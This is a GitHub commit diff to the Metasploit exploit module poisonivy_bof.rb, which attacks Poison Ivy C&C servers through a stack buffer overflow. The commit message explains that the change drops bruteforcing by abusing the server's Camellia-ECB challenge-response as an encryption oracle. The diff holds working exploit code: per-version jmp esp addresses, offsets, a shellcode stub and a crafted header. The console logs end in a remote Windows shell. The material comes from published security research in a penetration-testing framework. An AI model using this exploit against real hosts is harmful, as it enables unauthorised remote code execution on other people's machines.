Skip to content

Commit 0a0e7ab

Browse files
committed
This is a modification to the original poisonivy_bof.rb exploit
module removing the need for bruteforce in the case of an unknown server password by (ab)using the challenge-response as an encryption oracle, making it more reliable. The vulnerability has also been confirmed in versions 2.2.0 up to 2.3.1 and additional targets for these versions have been added as well. See http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/ for details. ## Console output Below is an example of the new functionality (PIVY C2 server password is set to 'prettysecure' and unknown to attacker). Exploitation of versions 2.3.0 and 2.3.1 is similar. ### Version 2.3.2 (unknown password) ``` msf > use windows/misc/poisonivy_bof msf exploit(poisonivy_bof) > set RHOST 192.168.0.103 RHOST => 192.168.0.103 msf exploit(poisonivy_bof) > check [*] Vulnerable Poison Ivy C&C version 2.3.1/2.3.2 detected. [*] 192.168.0.103:3460 - The target appears to be vulnerable. msf exploit(poisonivy_bof) > set PAYLOAD windows/shell_bind_tcp PAYLOAD => windows/shell_bind_tcp msf exploit(poisonivy_bof) > exploit [*] Started bind handler [*] Performing handshake... [*] Sending exploit... Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.3.2> ``` ### Version 2.2.0 (unknown password) ``` msf exploit(poisonivy_bof) > check [*] Vulnerable Poison Ivy C&C version 2.2.0 detected. [*] 192.168.0.103:3460 - The target appears to be vulnerable. msf exploit(poisonivy_bof) > show targets Exploit targets: Id Name -- ---- 0 Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1 1 Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1 2 Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1 msf exploit(poisonivy_bof) > set TARGET 0 TARGET => 0 msf exploit(poisonivy_bof) > exploit [*] Started bind handler [*] Performing handshake... [*] Sending exploit... Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.2.0> ```
1 parent d7887b5 commit 0a0e7ab

File tree

1 file changed

+90
-81
lines changed

1 file changed

+90
-81
lines changed

modules/exploits/windows/misc/poisonivy_bof.rb

Lines changed: 90 additions & 81 deletions
Original file line numberDiff line numberDiff line change
@@ -9,39 +9,29 @@ class Metasploit3 < Msf::Exploit::Remote
99
Rank = NormalRanking
1010

1111
include Msf::Exploit::Remote::Tcp
12-
include Msf::Exploit::Brute
1312

1413
def initialize(info = {})
1514
super(update_info(info,
1615
'Name' => "Poison Ivy Server Buffer Overflow",
1716
'Description' => %q{
18-
This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server.
19-
The exploit does not need to know the password chosen for the bot/server
20-
communication. If the C&C is configured with the default 'admin' password,
21-
the exploit should work fine. In case of the C&C configured with another
22-
password the exploit can fail. The 'check' command can be used to determine
23-
if the C&C target is using the default 'admin' password.
24-
25-
Hopefully an exploit try won't crash the Poison Ivy C&C process, just the thread
26-
responsible of handling the connection. Because of this the module provides the
27-
RANDHEADER option and a bruteforce target. If RANDHEADER is used a random header
28-
will be used. If the bruteforce target is selected, a random header will be sent in
29-
case the default for the password 'admin' doesn't work. Bruteforce will stop after
30-
5 tries or a session obtained.
17+
This module exploits a stack buffer overflow in the Poison Ivy 2.2.0 to 2.3.2 C&C server.
18+
The exploit does not need to know the password chosen for the bot/server communication.
3119
},
3220
'License' => MSF_LICENSE,
3321
'Author' =>
3422
[
3523
'Andrzej Dereszowski', # Vulnerability Discovery
3624
'Gal Badishi', # Exploit and Metasploit module
37-
'juan vazquez' # Testing and little of Metasploit-fu
25+
'juan vazquez', # Testing and little of Metasploit-fu
26+
'Jos Wetzels' # Added support for Poison Ivy 2.2.0 to 2.3.1, removed need for bruteforcing by (ab)using C&C challenge-response as encryption oracle
3827
],
3928
'References' =>
4029
[
4130
[ 'OSVDB', '83774' ],
4231
[ 'EDB', '19613' ],
4332
[ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ],
44-
[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ]
33+
[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ],
34+
[ 'URL', 'http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/' ],
4535
],
4636
'DisclosureDate' => "Jun 24 2012",
4737
'DefaultOptions' =>
@@ -58,107 +48,126 @@ def initialize(info = {})
5848
'Targets' =>
5949
[
6050
[
61-
'Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1',
51+
'Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1',
6252
{
63-
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
53+
'Ret' => 0x00425E5D, # jmp esp from "Poison Ivy 2.2.0.exe"
6454
'RWAddress' => 0x00401000,
65-
'Offset' => 0x806D,
55+
'Offset' => 0x8069,
6656
'PayloadOffset' => 0x75,
67-
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp
57+
'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp
6858
}
6959
],
60+
7061
[
71-
'Poison Ivy 2.3.2 - Bruteforce / Windows XP SP3 / Windows 7 SP1',
62+
'Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1',
7263
{
73-
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
64+
'Ret' => 0x00442749, # jmp esp from "Poison Ivy 2.3.0.exe"
65+
'RWAddress' => 0x00401000,
66+
'Offset' => 0x8069,
67+
'PayloadOffset' => 0x75,
68+
'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp
69+
}
70+
],
71+
72+
[
73+
'Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1',
74+
{
75+
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.1.exe" and "Poison Ivy 2.3.2.exe"
7476
'RWAddress' => 0x00401000,
7577
'Offset' => 0x806D,
7678
'PayloadOffset' => 0x75,
77-
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4", # sub esp,0x8000 # jmp esp
78-
'Bruteforce' =>
79-
{
80-
'Start' => { 'Try' => 1 },
81-
'Stop' => { 'Try' => 6 },
82-
'Step' => 1,
83-
'Delay' => 2
84-
}
79+
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp
8580
}
8681
]
8782
],
88-
'DefaultTarget' => 0
83+
'DefaultTarget' => 2
8984
))
9085

9186
register_options(
92-
[
93-
Opt::RPORT(3460),
94-
OptBool.new('RANDHEADER', [true, 'Send random bytes as the header', false])
95-
], self.class)
96-
97-
register_advanced_options(
98-
[
99-
OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 2 ]),
100-
], self.class)
87+
[
88+
Opt::RPORT(3460),
89+
], self.class)
10190

10291
end
10392

10493
def check
105-
sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b"
106-
lensig = [0x000015D0].pack("V")
94+
# camellia block size
95+
blockSize = 16
96+
# number of blocks in challenge
97+
blockCount = 16
98+
challenge = ("\x00" * blockSize * blockCount)
99+
100+
indicator = Hash.new
101+
# 0x0000113e as first 4 bytes on PI 2.1.0
102+
indicator[[0x0000113e].pack("V")] = '2.1.0'
103+
# 0x00001212 as first 4 bytes on PI 2.1.1
104+
indicator[[0x00001212].pack("V")] = '2.1.1'
105+
# 0x000013f6 as first 4 bytes on PI 2.1.2
106+
indicator[[0x000013f6].pack("V")] = '2.1.2'
107+
108+
# 0x000013e0 as 4 bytes after challenge on PI 2.2.0
109+
indicator[[0x000013e0].pack("V")] = '2.2.0'
110+
# 0x00001470 as 4 bytes after challenge on PI 2.3.0
111+
indicator[[0x00001470].pack("V")] = '2.3.0'
112+
# 0x000015D0 as 4 bytes after challenge on PI 2.3.1/2.3.2
113+
indicator[[0x000015D0].pack("V")] = '2.3.1/2.3.2'
107114

108115
connect
109-
sock.put("\x00" * 256)
116+
sock.put(challenge)
110117
response = sock.read(256)
111-
datalen = sock.read(4)
112-
disconnect
113118

114-
if datalen == lensig
115-
if response[0, 16] == sig
116-
vprint_status("Password appears to be \"admin\"")
119+
if response.length == 256
120+
response2 = sock.read(4)
121+
disconnect
122+
123+
# Poison Ivy >= 2.2.0 Challenge Response uses Camellia in ECB mode which means identical plaintext blocks
124+
# map to identical ciphertext blocks. A challenge composed of identical blocks will thus result in a response of identical blocks.
125+
firstBlock = response[0, 16]
126+
for index in 1..15
127+
if response[index * 16, 16] != firstBlock
128+
print_status("Response doesn't match Poison Ivy Challenge-Response format.")
129+
return Exploit::CheckCode::Safe
130+
end
131+
end
132+
133+
if indicator.key?(response2)
134+
indic = indicator[response2]
135+
print_status("Vulnerable Poison Ivy C&C version #{indic} detected.")
117136
return Exploit::CheckCode::Appears
118-
else
119-
vprint_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.")
120-
return Exploit::CheckCode::Detected
137+
end
138+
elsif response.length == 4
139+
disconnect
140+
if indicator.key?(response)
141+
indic = indicator[response]
142+
print_status("Poison Ivy C&C version #{indic} detected.")
143+
return Exploit::CheckCode::Safe
121144
end
122145
end
123-
return Exploit::CheckCode::Safe
124-
end
125146

126-
def single_exploit
127-
if datastore['RANDHEADER'] == true
128-
# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
129-
header = rand_text(0x20)
130-
else
131-
# This is the 32-byte header we want to send, encrypted with the default password ("admin")
132-
# We have a very good chance of succeeding even if the password was changed
133-
header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
134-
end
135-
do_exploit(header)
136-
end
137-
138-
def brute_exploit(brute_target)
139-
if brute_target['Try'] == 1
140-
print_status("Bruteforcing - Try #{brute_target['Try']}: Header for 'admin' password")
141-
# This is the 32-byte header we want to send, encrypted with the default password ("admin")
142-
# We have a very good chance of succeeding even if the password was changed
143-
header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
144-
else
145-
print_status("Bruteforcing - Try #{brute_target['Try']}: Random Header")
146-
# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
147-
header = rand_text(0x20)
148-
end
149-
do_exploit(header)
147+
vprint_status("Response doesn't match Poison Ivy Challenge-Response protocol.")
148+
return Exploit::CheckCode::Safe
150149
end
151150

152-
def do_exploit(header)
151+
def exploit
153152
# Handshake
154153
connect
155154
print_status("Performing handshake...")
156-
sock.put("\x00" * 256)
157-
sock.get_once(-1, 10)
155+
156+
# plaintext header
157+
plaintextHeader = "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xbb\x00\x00\x00\xc2\x00\x00\x00\xc2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
158+
159+
# crafted challenge (first 32 bytes is our plaintext header), abuse challenge-response as encryption oracle
160+
challenge = plaintextHeader + ("\x00" * (256 - 32))
161+
sock.put(challenge)
162+
# response = encrypt(challenge, key)
163+
response = sock.get_once
164+
165+
# since encryption is done using Camellia in ECB mode, we can cut and paste the first 32 bytes (our header inside the crafted challenge) without knowing the key
166+
encryptedHeader = response[0, 32]
158167

159168
# Don't change the nulls, or it might not work
160169
xploit = ''
161-
xploit << header
170+
xploit << encryptedHeader
162171
xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
163172
xploit << payload.encoded
164173
xploit << "\x00" * (target['Offset'] - xploit.length)

0 commit comments

Comments
 (0)